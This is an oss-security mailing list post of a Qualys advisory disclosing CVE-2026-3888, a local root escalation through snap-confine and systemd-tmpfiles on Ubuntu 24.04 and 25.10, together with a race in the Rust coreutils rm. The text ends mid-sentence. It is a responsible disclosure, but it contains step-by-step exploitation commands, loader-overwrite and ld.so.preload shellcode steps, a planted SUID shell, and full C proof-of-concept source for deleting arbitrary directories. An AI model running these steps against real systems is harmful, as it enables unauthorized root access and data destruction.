Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <20260317193301.GA1285@localhost.localdomain>
Date: Tue, 17 Mar 2026 19:33:16 +0000
From: Qualys Security Advisory <qsa@...lys.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: snap-confine + systemd-tmpfiles = root (CVE-2026-3888)


Qualys Security Advisory

Good things come to those who wait:
snap-confine + systemd-tmpfiles = root (CVE-2026-3888)


========================================================================
Contents
========================================================================

Summary
Case study: Ubuntu Desktop 24.04
- Analysis
- Exploitation
Case study: Ubuntu Desktop 25.10
- Overview
- Exploitation
A quick note on the uutils coreutils (the rust-coreutils)
Acknowledgments
Timeline

    And that is why Caterpillar was never in a hurry.
    She knew that good things come to those who wait.
        -- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"


========================================================================
Summary
========================================================================

We discovered an unusual Local Privilege Escalation (LPE), from any
unprivileged user to full root, in the default installation of Ubuntu
Desktop >= 24.04. We found this vulnerability particularly interesting:

a/ it stems from the interaction of two otherwise secure programs:

- snap-confine, which is set-user-ID-root (or set-capabilities), and
  "used internally by snapd to construct the execution environment for
  snap applications" (man snap-confine);

- systemd-tmpfiles, which is executed as root once per day, and
  "creates, deletes, and cleans up files and directories, using the
  configuration file format and location specified in tmpfiles.d(5)"
  (man systemd-tmpfiles);

b/ an unprivileged local attacker who wants to exploit this LPE must
wait for 10 days (in Ubuntu > 24.04) or 30 days (in Ubuntu 24.04) to
obtain a fully privileged root shell.

As a side note, we also discovered a local vulnerability (a race
condition) in the uutils coreutils (a Rust rewrite of the standard GNU
coreutils -- ls, cp, rm, cat, sort, etc), which are installed by default
in Ubuntu 25.10. This vulnerability was mitigated in Ubuntu 25.10 before
its release (by replacing the uutils coreutils' rm with the standard GNU
coreutils' rm), and would otherwise have resulted in an LPE (from any
unprivileged user to full root) in the default installation of Ubuntu
Desktop 25.10.


========================================================================
Case study: Ubuntu Desktop 24.04
========================================================================

    Go slow, go slow,
    If you want to grow.
        -- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"

________________________________________________________________________

Analysis
________________________________________________________________________

We recently noticed that, in the default installation of Ubuntu since
version 24.04, systemd-tmpfiles is configured to automatically clean up
the files and directories in /tmp that are older than 30 days (in Ubuntu
24.04) or 10 days (in Ubuntu > 24.04). More precisely, systemd-tmpfiles
traverses /tmp once per day and deletes all the files and directories
that have not been accessed nor modified for more than 10 or 30 days.

------------------------------------------------------------------------
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
...

$ cat /usr/lib/tmpfiles.d/tmp.conf
...
D /tmp 1777 root root 30d
#q /var/tmp 1777 root root 30d
------------------------------------------------------------------------

------------------------------------------------------------------------
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 25.10"
...

$ cat /usr/lib/tmpfiles.d/tmp.conf
...
q /tmp 1777 root root 10d
q /var/tmp 1777 root root 30d
------------------------------------------------------------------------

>From our "Lemmings" and "Leeloo" advisories, we then remembered that
snap-confine does highly privileged work in /tmp; in particular, in the
/tmp/snap-private-tmp directory, which is securely created at boot time
(as user root, mode 0700):

  https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt
  https://www.qualys.com/2022/11/30/cve-2022-3328/advisory-snap.txt

------------------------------------------------------------------------
$ cat /usr/lib/tmpfiles.d/snapd.conf
D! /tmp/snap-private-tmp 0700 root root -
------------------------------------------------------------------------

We therefore came up with the following idea: if, unbeknownst to
snap-confine, systemd-tmpfiles deletes one of the files or directories
from snap-confine's /tmp/snap-private-tmp, can we (an unprivileged local
attacker) re-create the deleted file or directory ourselves, and exploit
snap-confine's privileged work to obtain a fully privileged root shell?

Still from our "Lemmings" and "Leeloo" advisories, we also remembered
that, to set up a snap's sandbox, snap-confine creates a directory named
/tmp/snap-private-tmp/$SNAP/tmp (as user root, mode 01777) that is later
bind-mounted onto the /tmp directory inside the snap's sandbox.

And inside this /tmp directory (inside the snap's sandbox), snap-confine
creates a directory named /tmp/.snap (as user root, mode 0755) to create
"mimics"; for example, inside the sandbox of each and every snap that is
installed by default on Ubuntu Desktop, snap-confine bind-mounts the
/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 directory:

- to bind-mount this directory, snap-confine must first create its
  /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 mountpoint, which does not
  normally exist;

- but inside the snap's sandbox, /usr/lib/x86_64-linux-gnu is in a
  read-only filesystem (the "core22" base's squashfs);

- so snap-confine must first create a "mimic" of
  /usr/lib/x86_64-linux-gnu (a writable copy of
  /usr/lib/x86_64-linux-gnu), by:

1/ bind-mounting the original, read-only /usr/lib/x86_64-linux-gnu onto
/tmp/.snap/usr/lib/x86_64-linux-gnu (inside the snap's sandbox);

2/ mounting a new, writable tmpfs onto /usr/lib/x86_64-linux-gnu;

3/ bind-mounting every file and directory from
/tmp/.snap/usr/lib/x86_64-linux-gnu back into /usr/lib/x86_64-linux-gnu;

4/ creating the /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 mountpoint
(which is in a writable tmpfs now);

5/ finally bind-mounting
/snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0
(for example) onto /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0.

------------------------------------------------------------------------
$ grep /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 /var/lib/snapd/mount/*
/var/lib/snapd/mount/snap.firefox.fstab:/snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 none rbind,rw,x-snapd.origin=layout 0 0
...
------------------------------------------------------------------------

Consequently, our theoretical idea to exploit snap-confine is:

- inside the snap's sandbox, we frequently write to the /tmp directory
  (but not to /tmp/.snap), and patiently wait for systemd-tmpfiles to
  delete the unmodified /tmp/.snap directory (but not /tmp) after 10
  days (in Ubuntu > 24.04) or 30 days (in Ubuntu 24.04);

- we re-create the /tmp/.snap directory ourselves (indeed, /tmp is
  world-writable), and create our own copy of /usr/lib/x86_64-linux-gnu
  in /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange;

- we force snap-confine to set up the snap's sandbox afresh, but during
  the creation of the /usr/lib/x86_64-linux-gnu "mimic", between step 1/
  and step 3/, we quickly replace /tmp/.snap/usr/lib/x86_64-linux-gnu
  with our own /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange (indeed,
  /tmp/.snap belongs to us);

- as a result, during step 3/ of the creation of this "mimic",
  snap-confine bind-mounts our own files into /usr/lib/x86_64-linux-gnu,
  so we control every shared library and the dynamic loader (inside the
  snap's sandbox) and can execute arbitrary code as root by simply
  executing any dynamically-linked SUID-root binary.

In the following proof of concept for Ubuntu Desktop 24.04, we put this
theoretical idea into practice.

________________________________________________________________________

Exploitation
________________________________________________________________________

First, we set up the sandbox of one of the snaps that are installed by
default on Ubuntu Desktop (the "firefox" snap) by executing snap-confine
with the "core22" base, then we obtain an unprivileged shell inside this
snap's sandbox, we chdir to its /tmp directory, we frequently write to
this directory (but not to its /tmp/.snap sub-directory), and we wait
for systemd-tmpfiles to delete the unmodified /tmp/.snap directory
(after 30 days, in Ubuntu 24.04).

------------------------------------------------------------------------
outside$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
...

outside$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)

outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/bash

inside$ cd /tmp

inside$ stat ./.snap
...
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
...

inside$ while test -d ./.snap; do touch ./; sleep 60; done
[30 days pass]

inside$ stat ./.snap
stat: cannot statx './.snap': No such file or directory
------------------------------------------------------------------------

Second, from another shell outside the snap's sandbox, we chdir to
/tmp/snap-private-tmp/$SNAP/tmp (/tmp inside the snap's sandbox) through
the /proc/pid/cwd of our sandboxed shell (indeed, we cannot chdir to
/tmp/snap-private-tmp/$SNAP/tmp directly because /tmp/snap-private-tmp
belongs to root, mode 0700), we destroy the snap's sandbox (but not its
/tmp directory) by executing snap-confine with an invalid base (the
"snapd" base), and we run our firefox_24.04.c helper (which is basically
CVE-2021-44731-Desktop.c from our "Lemmings" advisory):

- we re-create the ./.snap directory ourselves (/tmp/.snap inside the
  snap's sandbox), since it was deleted by systemd-tmpfiles, and we
  create our own copy of /snap/core22/current/usr/lib/x86_64-linux-gnu
  in ./.snap/usr/lib/x86_64-linux-gnu.exchange;

- we force snap-confine to set up the snap's sandbox afresh, by
  executing it with the "core22" base, but we "single-step" this
  execution of snap-confine (we set SNAPD_DEBUG=1, we redirect its
  stderr to an AF_UNIX socket with minimized SO_RCVBUF and SO_SNDBUF, we
  read() its output byte by byte, and we recv(MSG_PEEK) at its buffered
  output), to reliably win the race condition between step 1/ and step
  3/ of the "mimic" creation of /usr/lib/x86_64-linux-gnu;

- as soon as we read() or recv() the following message (immediately
  after step 1/ of the "mimic" creation of /usr/lib/x86_64-linux-gnu),

  mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu"

  we quickly replace snap-confine's ./.snap/usr/lib/x86_64-linux-gnu
  with our own ./.snap/usr/lib/x86_64-linux-gnu.exchange, whose contents
  are then bind-mounted into /usr/lib/x86_64-linux-gnu, thus giving us
  full control over every shared library and the dynamic loader inside
  the snap's sandbox.

------------------------------------------------------------------------
outside$ cd /proc/2396/cwd

outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure /nonexistent
/user.slice/user-1001.slice/session-145.scope is not a snap cgroup

outside$ systemd-run --user --scope --unit=snap.whatever /bin/bash
Running as unit: snap.whatever.scope; invocation ID: ed50ae80aa9844d6a6e4499ea1f4bba8

outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure /nonexistent
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_yMpga4//dev: No such file or directory

outside$ exit

outside$ ~/firefox_24.04
hange.go:351: DEBUG: mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu" type:"" opts:MS_BIND|MS_REC unparsed:"" (error: <nil>)
change.go:351: DEBUG: mount name:"tmpfs" dir:"/usr/lib/x86_64-linux-gnu" type:"tmpfs" opts: unparsed:"mode=0755,uid=0,gid=0" (error: <nil>)
...
change.go:351: DEBUG: mount name:"/tmp/.snap/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2" dir:"/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2" type:"" opts:MS_BIND unparsed:"" (error: <nil>)
...
change.go:351: DEBUG: mount name:"/snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0" dir:"/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0" type:"none" opts:MS_BIND|MS_REC unparsed:"" (error: <nil>)
...
execv failed: No such file or directory
------------------------------------------------------------------------

Third, we obtain an unprivileged shell inside this newly set up sandbox,
by executing snap-confine with the same "core22" base; and from another
shell outside this snap's sandbox, we chdir to its / directory, through
the /proc/pid/root of our sandboxed shell, we copy /usr/bin/busybox to
./tmp/sh (/tmp/sh inside the snap's sandbox), and we overwrite the
dynamic loader ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 (which
belongs to us) with a simple shellcode that calls setreuid(0) and
execve(/tmp/sh) (a busybox shell).

------------------------------------------------------------------------
outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/bash
inside$ 
------------------------------------------------------------------------

------------------------------------------------------------------------
outside$ cd /proc/4516/root

outside$ cp /usr/bin/busybox ./tmp/sh

outside$ cat ~/librootshell.so > ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
------------------------------------------------------------------------

Fourth, we obtain a root shell inside the snap's sandbox, by executing
snap-confine itself through snap-confine, which is dynamically linked
and SUID-root and therefore executes our own dynamic loader's shellcode
(and hence a busybox shell) as root. (Note: the snap's sandbox contains
various SUID-root binaries, but only the execution of snap-confine is
allowed by its AppArmor profile.)

------------------------------------------------------------------------
outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /usr/lib/snapd/snap-confine
...
BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3.1) built-in shell (ash)
...

inside# id
uid=0(root) gid=1001(jane) groups=100(users),1001(jane)
^^^^^^^^^^^

inside# cat /etc/shadow
cat: can't open '/etc/shadow': Permission denied
------------------------------------------------------------------------

Fifth, because this root shell is still inside the snap's sandbox,
confined by an AppArmor profile and a seccomp filter, we copy /bin/bash
to /var/snap/$SNAP/common/ and chmod it to 04755 (both operations are
allowed by the AppArmor profile and the seccomp filter), and execute
this SUID-root shell from outside the snap's sandbox, thereby finally
gaining full root privileges.

------------------------------------------------------------------------
inside# cp /bin/bash /var/snap/firefox/common/

inside# chmod 04755 /var/snap/firefox/common/bash

inside# exit

outside$ /var/snap/firefox/common/bash -p

outside# id
uid=1001(jane) gid=1001(jane) euid=0(root) groups=1001(jane),100(users)
                              ^^^^^^^^^^^^

outside# cat /etc/shadow
root:*:20305:0:99999:7:::
daemon:*:20305:0:99999:7:::
...
------------------------------------------------------------------------


========================================================================
Case study: Ubuntu Desktop 25.10
========================================================================

    Why go fast?
    Let life run past?
        -- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"

________________________________________________________________________

Overview
________________________________________________________________________

For Ubuntu Desktop 25.10 we must change our exploitation strategy,
because snap-confine is not SUID-root anymore; instead, it now has
capabilities attached:

------------------------------------------------------------------------
$ stat /usr/lib/snapd/snap-confine
...
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
...

$ getcap /usr/lib/snapd/snap-confine
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p
------------------------------------------------------------------------

These capabilities are actually very powerful, and we can obtain them
inside a snap's sandbox by slightly revising our exploitation strategy
from Ubuntu 24.04 (by calling capset() and prctl(PR_CAP_AMBIENT_RAISE)
instead of setreuid(0)), but most of these capabilities and associated
syscalls are then denied to us by AppArmor and seccomp, thus preventing
us from gaining full root privileges outside the snap's sandbox.

Consequently, we decided to re-use the strategy that we used in our
"Lemmings" advisory to exploit the "snap-store" snap (which is installed
by default on Ubuntu Desktop): instead of racing against the "mimic"
creation of /usr/lib/x86_64-linux-gnu, we race against the "mimic"
creation of /var/lib (which is needed to bind-mount /var/lib/app-info
inside snap-store's sandbox), which allows us to control /var/lib and
hence /var/lib/snapd/mount/snap.snap-store.user-fstab, which in turn
allows us to bind-mount near-arbitrary directories and obtain a root
shell inside snap-store's sandbox, and eventually a fully privileged
root shell outside snap-store's sandbox.

________________________________________________________________________

Exploitation
________________________________________________________________________

First, we set up snap-store's sandbox by executing snap-confine with the
"core22" base, we obtain an unprivileged shell inside this sandbox, we
chdir to its /tmp directory, we frequently write to this directory (but
not to its /tmp/.snap sub-directory), and we wait for systemd-tmpfiles
to delete the unmodified /tmp/.snap directory (after 10 days, in Ubuntu
25.10).

------------------------------------------------------------------------
outside$ cat /etc/os-release
PRETTY_NAME="Ubuntu 25.10"
...

outside$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)

outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine --base core22 snap.snap-store.hook.configure /bin/bash

inside$ cd /tmp

inside$ stat ./.snap
...
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
...

inside$ while test -d ./.snap; do touch ./; sleep 60; done
[10 days pass]

inside$ stat ./.snap
stat: cannot statx './.snap': No such file or directory
------------------------------------------------------------------------

Second, from another shell outside snap-store's sandbox, we chdir to
/tmp/snap-private-tmp/$SNAP/tmp (/tmp inside the sandbox) through the
/proc/pid/cwd of our sandboxed shell, we destroy snap-store's sandbox
(but not its /tmp directory) by executing snap-confine with an invalid
base ("snapd"), and we run our snap-store_25.10.c helper (which is also
basically CVE-2021-44731-Desktop.c from our "Lemmings" advisory):

- we re-create the ./.snap directory ourselves (/tmp/.snap inside
  snap-store's sandbox), since it was deleted by systemd-tmpfiles, and
  we create our own copy of /snap/core22/current/var/lib in
  ./.snap/var/lib.exchange;

- we force snap-confine to set up snap-store's sandbox afresh, by
  executing it with the "core22" base, but we "single-step" this
  execution (with SNAPD_DEBUG=1), to reliably win the race condition
  between step 1/ and step 3/ of the "mimic" creation of /var/lib;

- as soon as we see the following debug message (immediately after step
  1/ of the "mimic" creation of /var/lib),

  mount name:"/var/lib" dir:"/tmp/.snap/var/lib"

  we quickly replace snap-confine's ./.snap/var/lib with our own
  ./.snap/var/lib.exchange, whose contents are then bind-mounted into
  /var/lib (inside snap-store's sandbox); this replacement has two
  beneficial consequences for us:

  a/ we control /var/lib/snapd/mount/snap.snap-store.user-fstab, which
  allows us to bind-mount near-arbitrary directories inside snap-store's
  sandbox (these bind-mounts are not completely arbitrary, because they
  are still confined by an AppArmor profile);

  b/ various SUID-root binaries remain bind-mounted in /tmp/.snap, and
  their execution is allowed by an AppArmor rule "/tmp/** mrwlkix,"
  inside snap-store's sandbox.

------------------------------------------------------------------------
outside$ cd /proc/4078/cwd

outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine --base snapd snap.snap-store.hook.configure /nonexistent
/user.slice/user-1001.slice/session-33.scope is not a snap cgroup

outside$ systemd-run --user --scope --unit=snap.whatever /bin/bash
Running as unit: snap.whatever.scope; invocation ID: 113af972356b4f08a58461cf64cc57f6

outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine --base snapd snap.snap-store.hook.configure /nonexistent
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_GCNDEM//dev: No such file or directory

outside$ exit

outside$ ~/snap-store_25.10
...
hange.go:351: DEBUG: mount name:"/var/lib" dir:"/tmp/.snap/var/lib" type:"" opts:MS_BIND|MS_REC unparsed:"" (error: <nil>)
change.go:351: DEBUG: mount name:"tmpfs" dir:"/var/lib" type:"tmpfs" opts: unparsed:"mode=0755,uid=0,gid=0" (error: <nil>)
...
change.go:426: DEBUG: umount "/tmp/.snap/var/lib" UMOUNT_NOFOLLOW|MNT_DETACH (error: invalid argument)
change.go:399: DEBUG: ignoring EINVAL from unmount, "/tmp/.snap/var/lib" is not mounted
change.go:477: DEBUG: remove "/tmp/.snap/var/lib" (error: remove /tmp/.snap/var/lib: directory not empty)
...
/var/lib/snapd not root-owned 1001:1001
------------------------------------------------------------------------

Third, still from outside snap-store's sandbox but inside its /tmp
directory:

- we create a copy of /etc in ./.snap/etc (/tmp/.snap/etc inside the
  sandbox), we add /tmp/librootshell.so to ./.snap/etc/ld.so.preload, we
  create ./librootshell.so (/tmp/librootshell.so inside the sandbox), a
  simple shellcode that calls setreuid(0) and execve(/tmp/sh), we copy
  /usr/bin/busybox to ./sh (/tmp/sh inside the sandbox), and we add the
  following to ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab,
  which will bind-mount our copy of /etc inside snap-store's sandbox:

  /tmp/.snap/etc /etc none rbind,rw 0 0

- we also add the following line to
  ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab (and replace
  our own ./.snap/var/lib with the original ./.snap/var/lib.exchange),
  which will bind-mount the original, root-owned /var/lib/snapd inside
  snap-store's sandbox (otherwise snap-confine dies because it detects
  that /var/lib/snapd does not belong to root -- it belongs to us since
  we won the race condition against the "mimic" creation of /var/lib):

  /tmp/.snap/var/lib/snapd /var/lib/snapd none rbind,rw 0 0

------------------------------------------------------------------------
outside$ cp -a /etc ./.snap
...

outside$ echo /tmp/librootshell.so > ./.snap/etc/ld.so.preload

outside$ cp ~/librootshell.so ./

outside$ cp /usr/bin/busybox ./sh

outside$ echo '/tmp/.snap/etc /etc none rbind,rw 0 0' > ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab

outside$ echo '/tmp/.snap/var/lib/snapd /var/lib/snapd none rbind,rw 0 0' >> ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab

outside$ mv ./.snap/var/lib ./.snap/var/lib.exchange2

outside$ mv ./.snap/var/lib.exchange ./.snap/var/lib
------------------------------------------------------------------------

Fourth, we obtain a root shell inside snap-store's sandbox, by executing
snap-confine with one of the SUID-root binaries in /tmp/.snap (such as
/tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su), which
is dynamically linked and therefore preloads our /tmp/librootshell.so
and executes our shellcode (and hence a busybox shell) as root.

------------------------------------------------------------------------
outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine --base core22 snap.snap-store.hook.configure /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
...
BusyBox v1.37.0 (Ubuntu 1:1.37.0-4ubuntu1) built-in shell (ash)
...

inside# id
uid=0(root) gid=1001(jane) groups=100(users),1001(jane)
^^^^^^^^^^^

inside# cat /etc/shadow
cat: can't open '/etc/shadow': No such file or directory
------------------------------------------------------------------------

Fifth, because this root shell is still inside snap-store's sandbox,
confined by an AppArmor profile and a seccomp filter, we copy /bin/bash
to /var/snap/$SNAP/common/ and chmod it to 04755 (both operations are
allowed by the AppArmor profile and the seccomp filter), and execute
this SUID-root shell from outside snap-store's sandbox, thereby finally
gaining full root privileges.

------------------------------------------------------------------------
inside# cp /bin/bash /var/snap/snap-store/common/

inside# chmod 04755 /var/snap/snap-store/common/bash

inside# exit

outside$ /var/snap/snap-store/common/bash -p

outside# id
uid=1001(jane) gid=1001(jane) euid=0(root) groups=1001(jane),100(users)
                              ^^^^^^^^^^^^

outside# cat /etc/shadow
root:*:20368:0:99999:7:::
daemon:*:20368:0:99999:7:::
...
------------------------------------------------------------------------


========================================================================
A quick note on the uutils coreutils (the rust-coreutils)
========================================================================

In August 2025, before the release of Ubuntu 25.10, the Ubuntu Security
Team proactively contacted us and kindly asked us if we were interested
in reviewing the security of the uutils coreutils (a Rust rewrite of the
standard GNU coreutils -- ls, cp, rm, cat, sort, sleep, etc), which are
since then installed by default in Ubuntu 25.10.

We were deeply interested, and honored, but unfortunately at the time we
were already working full-time on another project; so we told the Ubuntu
Security Team that we would not be able to conduct an official security
review, but that we would try to work on it anyway during our free time.

We started by carefully reading the following report, which already
contained extremely valuable information; in particular, the mention of
"unsafe, racy, tree walking algorithms" caught our attention:

  https://bugs.launchpad.net/ubuntu/+source/rust-coreutils/+bug/2111815

>From our work on apport (CVE-2025-5054), we then remembered that the
shell script /etc/cron.daily/apport is installed by default on Ubuntu,
is executed as root once per day, and can recursively delete entire
sub-directories of /var/crash, which is world-writable like /tmp:

------------------------------------------------------------------------
$ cat /etc/cron.daily/apport
...
find /var/crash/. ! -name . -prune -type d -regextype posix-extended -regex '.*/[0-9]{12}$' \( -mtime +7 \) -exec rm -Rf -- '{}' \;

$ stat /var/crash
...
Access: (3777/drwxrwsrwt)  Uid: (    0/    root)   Gid: (    0/    root)
...
------------------------------------------------------------------------

Since rm is one of the uutils coreutils, we decided to create a
directory /var/crash/base/parent/target (as an unprivileged attacker)
and to analyze the strace of an "rm -Rf /var/crash/base" command (as
root), and we quickly discovered that rm was vulnerable to a trivial
race condition:

------------------------------------------------------------------------
  1 execve("/usr/bin/rm", ["rm", "-Rf", "/var/crash/base"], ...) = 0
...
147 openat(AT_FDCWD, "/var/crash/base", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
...
152 openat(AT_FDCWD, "/var/crash/base/parent", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 4
...
158 openat(AT_FDCWD, "/var/crash/base/parent/target", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5
...
163 rmdir("/var/crash/base/parent/target")  = 0
...
167 rmdir("/var/crash/base/parent")         = 0
...
171 rmdir("/var/crash/base")                = 0
...
174 exit_group(0)                           = ?
------------------------------------------------------------------------

- if, after rm calls openat() on /var/crash/base/parent (at line 152),
  but before rm calls openat() on /var/crash/base/parent/target (at line
  158), if the attacker replaces /var/crash/base/parent with a symlink
  (which will be followed by rm) to another part of the filesystem (for
  example, to /etc), then this attacker can delete arbitrary parts of
  the filesystem, as root (the shell script /etc/cron.daily/apport is
  executed as root);

- for example, if the attacker replaces "parent" with a symlink to /etc,
  and if "target" is "ppp", then rm will recursively delete the entire
  /etc/ppp directory.

We immediately reported this vulnerability to Ubuntu, who, as a
temporary mitigation in Ubuntu 25.10, replaced the default rm with a
symlink to the standard GNU coreutils' rm (i.e., in Ubuntu 25.10, rm is
a symlink to /usr/bin/gnurm, not a symlink to the uutils coreutils'
/usr/lib/cargo/bin/coreutils/rm).

To the best of our knowledge, this vulnerability in the uutils
coreutils' rm was later fixed upstream (by calling openat() relatively
to each component of a path, instead of calling openat() on absolute
paths and resolving each path component multiple times), by commits:

  https://github.com/uutils/coreutils/commit/1183529cd2deafb38bed3b6bf212357b68eefa41
  https://github.com/uutils/coreutils/commit/e773c95c4e62424db17563242c35e488a6d1ae9b
  https://github.com/uutils/coreutils/commit/45e6cbd109a0a33d82e90c985813ea83d4009714

However, at the time of writing this advisory, the uutils coreutils'
/usr/lib/cargo/bin/coreutils/rm that is shipped with Ubuntu 25.10 is
still vulnerable (but unused, since the default is the GNU coreutils'
rm); this allows us to test what would have happened if the vulnerable
rm had been shipped as the default in Ubuntu 25.10. For example, below
we run our proof of concept as an unprivileged user, and root executes
the rm command that would have been executed by /etc/cron.daily/apport,
thereby accidentally deleting the entire /etc/ppp directory:

------------------------------------------------------------------------
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 25.10"
...

$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)

$ cat > uutils_rm.c << "EOF"
#define _GNU_SOURCE
#include <sys/inotify.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <dirent.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <utime.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

int
main(const int argc, const char * const argv[])
{
    if (argc < 3) die();
    const char * const writable_dir = argv[1];
    if (*writable_dir != '/') die();

    const char * const parent_dir = strdup(argv[2]);
    if (!parent_dir) die();
    char * const last_slash = strrchr(parent_dir, '/');
    if (!last_slash) die();

    const char * const target_dir = strdup(last_slash + 1);
    if (!target_dir) die();

    last_slash[1] = '\0';
    if (*parent_dir != '/') die();
    if (!*target_dir) die();

    unsigned long n_pre_dirs = 32;
    if (argc > 3) {
        if (argc != 4) die();
        n_pre_dirs = strtoul(argv[3], NULL, 0);
    }
    if (n_pre_dirs <= 0) die();
    if (n_pre_dirs > (1u<<20)) die();

    if (chdir(writable_dir)) die();
    char base_dir[] = "XXXXXX";
    if (!mkdtemp(base_dir)) die();
    if (chdir(base_dir)) die();

    if (mkdir("parent", 0700)) die();
    if (chdir("parent")) die();
    if (mkdir(target_dir, 0700)) die();

    const char * first_dir = NULL;
    for (;;) {
        char try[] = "XXXXXX";
        if (!mkdtemp(try)) die();

        unsigned long n = 0;
        DIR * const dirp = opendir(".");
        if (!dirp) die();
        for (;;) {
            const struct dirent * const entp = readdir(dirp);
            if (!entp) die();
            if (*entp->d_name == '.') continue;
            if (!strcmp(entp->d_name, target_dir)) break;
            n++;
            if (!first_dir) {
                first_dir = strdup(entp->d_name);
                if (!first_dir) die();
            }
        }
        if (closedir(dirp)) die();
        if (n >= n_pre_dirs) break;
    }
    if (!first_dir) die();

    if (chdir(first_dir)) die();
    unsigned long i;
    for (i = 0; i < n_pre_dirs; i++) {
        char num[256];
        snprintf(num, sizeof(num), "%lu", i);
        if (mkdir(num, 0700)) die();
    }
    const int in_fd = inotify_init();
    if (in_fd <= -1) die();
    if (inotify_add_watch(in_fd, ".", IN_ATTRIB) <= -1) die();

    if (chdir("..")) die();
    if (chdir("..")) die();
    if (symlink(parent_dir, "../switch")) die();
    static const struct utimbuf epoch = { 1, 1 };
    if (utime(".", &epoch)) die();

    fprintf(stderr, "ready\n");
    static char in_buf[sizeof(struct inotify_event) + NAME_MAX + 1];
    if (read(in_fd, in_buf, sizeof(in_buf)) < (ssize_t)sizeof(struct inotify_event)) die();
    if (renameat2(AT_FDCWD, "parent", AT_FDCWD, "../switch", RENAME_EXCHANGE)) die();
    die();
}
EOF

$ gcc -s -o uutils_rm uutils_rm.c

$ stat /etc/ppp
...
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
...

$ ./uutils_rm /var/crash /etc/ppp
ready
------------------------------------------------------------------------

Then, as root (to simulate the /etc/cron.daily/apport shell script):

------------------------------------------------------------------------
# id
uid=0(root) gid=0(root) groups=0(root)

# dpkg -S /usr/lib/cargo/bin/coreutils/rm
rust-coreutils: /usr/lib/cargo/bin/coreutils/rm

# dpkg -l rust-coreutils
...
ii  rust-coreutils 0.2.2-0ubuntu2.1 amd64        Universal coreutils utils, written in Rust

# find /var/crash/. ! -name . -prune -type d \( -mtime +7 \) -exec /usr/lib/cargo/bin/coreutils/rm -Rf -- '{}' \;
...

# stat /etc/ppp
stat: cannot stat '/etc/ppp': No such file or directory (os error 2)
------------------------------------------------------------------------

Back in September 2025, we reported this vulnerability to Ubuntu as a
denial of service (the ability to delete arbitrary files and directories
